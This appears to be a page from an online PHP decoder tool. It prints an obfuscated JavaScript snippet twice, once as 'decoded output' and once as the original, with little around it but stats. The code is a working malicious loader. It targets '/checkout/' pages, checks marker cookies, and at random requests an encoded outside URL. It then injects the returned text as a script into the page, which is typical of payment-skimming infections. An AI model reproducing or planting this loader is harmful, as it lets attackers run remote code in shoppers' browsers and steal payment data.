Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

function dpVVgK7vnrh(ygHP5CGw3HqdaJ3C) { var ch75VV3SNehEgKL9 = "abcdefghijklmnopqrst..

Decoded Output download

<?  function dpVVgK7vnrh(ygHP5CGw3HqdaJ3C) { 
    var ch75VV3SNehEgKL9 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/="; 
    var ufcgmDgDpkUP5nqs = ""; 
    var nycabNVu56gGuEZX = ""; 
    for (var ju2sJbvWwAGe6cUR = 0x0, crFz8daXA3UfUt3e, eVYxuDSj4YV329jc, ceZuMeE659wBn85q = 0x0; eVYxuDSj4YV329jc = ygHP5CGw3HqdaJ3C["charAt"](ceZuMeE659wBn85q++); ~eVYxuDSj4YV329jc && (crFz8daXA3UfUt3e = ju2sJbvWwAGe6cUR % 0x4 ? crFz8daXA3UfUt3e * 0x40 + eVYxuDSj4YV329jc : eVYxuDSj4YV329jc, ju2sJbvWwAGe6cUR++ % 0x4) ? ufcgmDgDpkUP5nqs += String["fromCharCode"](0xff & crFz8daXA3UfUt3e >> (-0x2 * ju2sJbvWwAGe6cUR & 0x6)) : 0x0) { 
        eVYxuDSj4YV329jc = ch75VV3SNehEgKL9["indexOf"](eVYxuDSj4YV329jc); 
    } 
    for (var uYSEmTaPmkCErF3a = 0x0, c3rv3UCcVtB4kBrH = ufcgmDgDpkUP5nqs["length"]; uYSEmTaPmkCErF3a < c3rv3UCcVtB4kBrH; uYSEmTaPmkCErF3a++) { 
        nycabNVu56gGuEZX += "%" + ("00" + ufcgmDgDpkUP5nqs["charCodeAt"](uYSEmTaPmkCErF3a)["toString"](0x10))["slice"](-0x2); 
    } 
    return decodeURIComponent(nycabNVu56gGuEZX); 
}; 
 
function pPouBIsQAUSAoM() { 
var ghYazhSh3 = ["y29VA2LL","Bg9JyxrPB24","Bwf0y2G","zMXVB3i","CMfUzg9T"]; 
var ef6ZLDFh8J7zE = ["Afa3yvq2A0mYEKmZBuK0","y00WBfO4Afe0AeS0DvC3","mq","mZa"]; 
    if (document[dpVVgK7vnrh(ghYazhSh3[0])].indexOf(dpVVgK7vnrh(ef6ZLDFh8J7zE[0])) == -1) { 
            if (window[dpVVgK7vnrh(ghYazhSh3[1])].href[dpVVgK7vnrh(ghYazhSh3[2])](/\/checkout\//)) { 
                if (document[dpVVgK7vnrh(ghYazhSh3[0])].indexOf(dpVVgK7vnrh(ef6ZLDFh8J7zE[1])) == -1) { 
                    var rndInt = Math[dpVVgK7vnrh(ghYazhSh3[3])](Math[dpVVgK7vnrh(ghYazhSh3[4])]() * 3) + 1; 
                    if (rndInt == 1) { 
                        oaEiIIU(); 
                    } else { 
                        sLeT0c1zNAC3ZR1Jm(dpVVgK7vnrh(ef6ZLDFh8J7zE[1]), dpVVgK7vnrh(ef6ZLDFh8J7zE[2]), dpVVgK7vnrh(ef6ZLDFh8J7zE[3])); 
                    } 
                } 
            } 
    }; 
}; 
 
 
 
function oaEiIIU() { 
var crYdXWTolIHcEb9YD = ["yNrVyq","B3bLBG","C2vUza","B25YzwfKExn0yxrLy2HHBMDL","CMvHzhLtDgf0zq","CgfYC2u","CMvZCg9UC2vuzxH0","y3jLyxrLrwXLBwvUDa","Aw5Uzxjive1m","yM9KEq"]; 
var fU1unElSkbMlWg = ["DwLKpq","r0vu","Ahr0Chm6lY9KlMrPz3nNB2DVlMnVBs9NzJHKlNbOCd8","C2nYAxb0"]; 
    var postData = dpVVgK7vnrh(fU1unElSkbMlWg[0]) + window[dpVVgK7vnrh(crYdXWTolIHcEb9YD[0])](emP5H0qw5()); 
    var xhr = new XMLHttpRequest() 
    xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[1])]( 
        dpVVgK7vnrh(fU1unElSkbMlWg[1]), 
        dpVVgK7vnrh(fU1unElSkbMlWg[2]) + postData, 
        true 
    ) 
    xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[2])](postData); 
    xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[3])] = function () { 
        if (xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[4])] == 4) { 
            var answer = JSON[dpVVgK7vnrh(crYdXWTolIHcEb9YD[5])](xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[6])]); 
            var scr = document[dpVVgK7vnrh(crYdXWTolIHcEb9YD[7])](dpVVgK7vnrh(fU1unElSkbMlWg[3])); 
            scr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[8])] = answer; 
            document[dpVVgK7vnrh(crYdXWTolIHcEb9YD[9])].appendChild(scr); 
        } 
    } 
}; 
 
 
 
function sLeT0c1zNAC3ZR1Jm(name,value,days) { 
var reVVMLk0sj3s = ["C2v0vgLTzq","z2v0vgLTzq","Dg9vventDhjPBMC","y29VA2LL"]; 
var jD7GU4zFzGF7 = ["oYbLEhbPCMvZpq","pq","oYbWyxrOps8"]; 
    var date = new Date(); 
    date[dpVVgK7vnrh(reVVMLk0sj3s[0])](date[dpVVgK7vnrh(reVVMLk0sj3s[1])]() + (days*24*60*60*1000)); 
    var expires = dpVVgK7vnrh(jD7GU4zFzGF7[0]) + date[dpVVgK7vnrh(reVVMLk0sj3s[2])](); 
    document[dpVVgK7vnrh(reVVMLk0sj3s[3])] = name + dpVVgK7vnrh(jD7GU4zFzGF7[1]) + value  + expires + dpVVgK7vnrh(jD7GU4zFzGF7[2]); 
}; 
 
 
 
function emP5H0qw5() { 
var fJ8hGNY7 = ["CMvWBgfJzq","z2v0uMfUzg9TvMfSDwvZ","Dg9tDhjPBMC"]; 
    return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11)[dpVVgK7vnrh(fJ8hGNY7[0])](/[018]/g, c => 
        (c ^ crypto[dpVVgK7vnrh(fJ8hGNY7[1])](new Uint8Array(1))[0] & 15 >> c / 4)[dpVVgK7vnrh(fJ8hGNY7[2])](16) 
    ); 
}; 
 
 
if(typeof rfQoiD6cP7Em == "undefined"){ 
	rfQoiD6cP7Em=1; 
	document.addEventListener("DOMContentLoaded", pPouBIsQAUSAoM()); 
} ?>

Did this file decode correctly?

Original Code

function dpVVgK7vnrh(ygHP5CGw3HqdaJ3C) {
    var ch75VV3SNehEgKL9 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
    var ufcgmDgDpkUP5nqs = "";
    var nycabNVu56gGuEZX = "";
    for (var ju2sJbvWwAGe6cUR = 0x0, crFz8daXA3UfUt3e, eVYxuDSj4YV329jc, ceZuMeE659wBn85q = 0x0; eVYxuDSj4YV329jc = ygHP5CGw3HqdaJ3C["charAt"](ceZuMeE659wBn85q++); ~eVYxuDSj4YV329jc && (crFz8daXA3UfUt3e = ju2sJbvWwAGe6cUR % 0x4 ? crFz8daXA3UfUt3e * 0x40 + eVYxuDSj4YV329jc : eVYxuDSj4YV329jc, ju2sJbvWwAGe6cUR++ % 0x4) ? ufcgmDgDpkUP5nqs += String["fromCharCode"](0xff & crFz8daXA3UfUt3e >> (-0x2 * ju2sJbvWwAGe6cUR & 0x6)) : 0x0) {
        eVYxuDSj4YV329jc = ch75VV3SNehEgKL9["indexOf"](eVYxuDSj4YV329jc);
    }
    for (var uYSEmTaPmkCErF3a = 0x0, c3rv3UCcVtB4kBrH = ufcgmDgDpkUP5nqs["length"]; uYSEmTaPmkCErF3a < c3rv3UCcVtB4kBrH; uYSEmTaPmkCErF3a++) {
        nycabNVu56gGuEZX += "%" + ("00" + ufcgmDgDpkUP5nqs["charCodeAt"](uYSEmTaPmkCErF3a)["toString"](0x10))["slice"](-0x2);
    }
    return decodeURIComponent(nycabNVu56gGuEZX);
};

function pPouBIsQAUSAoM() {
var ghYazhSh3 = ["y29VA2LL","Bg9JyxrPB24","Bwf0y2G","zMXVB3i","CMfUzg9T"];
var ef6ZLDFh8J7zE = ["Afa3yvq2A0mYEKmZBuK0","y00WBfO4Afe0AeS0DvC3","mq","mZa"];
    if (document[dpVVgK7vnrh(ghYazhSh3[0])].indexOf(dpVVgK7vnrh(ef6ZLDFh8J7zE[0])) == -1) {
            if (window[dpVVgK7vnrh(ghYazhSh3[1])].href[dpVVgK7vnrh(ghYazhSh3[2])](/\/checkout\//)) {
                if (document[dpVVgK7vnrh(ghYazhSh3[0])].indexOf(dpVVgK7vnrh(ef6ZLDFh8J7zE[1])) == -1) {
                    var rndInt = Math[dpVVgK7vnrh(ghYazhSh3[3])](Math[dpVVgK7vnrh(ghYazhSh3[4])]() * 3) + 1;
                    if (rndInt == 1) {
                        oaEiIIU();
                    } else {
                        sLeT0c1zNAC3ZR1Jm(dpVVgK7vnrh(ef6ZLDFh8J7zE[1]), dpVVgK7vnrh(ef6ZLDFh8J7zE[2]), dpVVgK7vnrh(ef6ZLDFh8J7zE[3]));
                    }
                }
            }
    };
};



function oaEiIIU() {
var crYdXWTolIHcEb9YD = ["yNrVyq","B3bLBG","C2vUza","B25YzwfKExn0yxrLy2HHBMDL","CMvHzhLtDgf0zq","CgfYC2u","CMvZCg9UC2vuzxH0","y3jLyxrLrwXLBwvUDa","Aw5Uzxjive1m","yM9KEq"];
var fU1unElSkbMlWg = ["DwLKpq","r0vu","Ahr0Chm6lY9KlMrPz3nNB2DVlMnVBs9NzJHKlNbOCd8","C2nYAxb0"];
    var postData = dpVVgK7vnrh(fU1unElSkbMlWg[0]) + window[dpVVgK7vnrh(crYdXWTolIHcEb9YD[0])](emP5H0qw5());
    var xhr = new XMLHttpRequest()
    xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[1])](
        dpVVgK7vnrh(fU1unElSkbMlWg[1]),
        dpVVgK7vnrh(fU1unElSkbMlWg[2]) + postData,
        true
    )
    xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[2])](postData);
    xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[3])] = function () {
        if (xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[4])] == 4) {
            var answer = JSON[dpVVgK7vnrh(crYdXWTolIHcEb9YD[5])](xhr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[6])]);
            var scr = document[dpVVgK7vnrh(crYdXWTolIHcEb9YD[7])](dpVVgK7vnrh(fU1unElSkbMlWg[3]));
            scr[dpVVgK7vnrh(crYdXWTolIHcEb9YD[8])] = answer;
            document[dpVVgK7vnrh(crYdXWTolIHcEb9YD[9])].appendChild(scr);
        }
    }
};



function sLeT0c1zNAC3ZR1Jm(name,value,days) {
var reVVMLk0sj3s = ["C2v0vgLTzq","z2v0vgLTzq","Dg9vventDhjPBMC","y29VA2LL"];
var jD7GU4zFzGF7 = ["oYbLEhbPCMvZpq","pq","oYbWyxrOps8"];
    var date = new Date();
    date[dpVVgK7vnrh(reVVMLk0sj3s[0])](date[dpVVgK7vnrh(reVVMLk0sj3s[1])]() + (days*24*60*60*1000));
    var expires = dpVVgK7vnrh(jD7GU4zFzGF7[0]) + date[dpVVgK7vnrh(reVVMLk0sj3s[2])]();
    document[dpVVgK7vnrh(reVVMLk0sj3s[3])] = name + dpVVgK7vnrh(jD7GU4zFzGF7[1]) + value  + expires + dpVVgK7vnrh(jD7GU4zFzGF7[2]);
};



function emP5H0qw5() {
var fJ8hGNY7 = ["CMvWBgfJzq","z2v0uMfUzg9TvMfSDwvZ","Dg9tDhjPBMC"];
    return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11)[dpVVgK7vnrh(fJ8hGNY7[0])](/[018]/g, c =>
        (c ^ crypto[dpVVgK7vnrh(fJ8hGNY7[1])](new Uint8Array(1))[0] & 15 >> c / 4)[dpVVgK7vnrh(fJ8hGNY7[2])](16)
    );
};


if(typeof rfQoiD6cP7Em == "undefined"){
	rfQoiD6cP7Em=1;
	document.addEventListener("DOMContentLoaded", pPouBIsQAUSAoM());
}

Function Calls

None

Variables

None

Stats

MD5 76a6367067d72959c5cb3d46ca717404
Eval Count 0
Decode Time 75 ms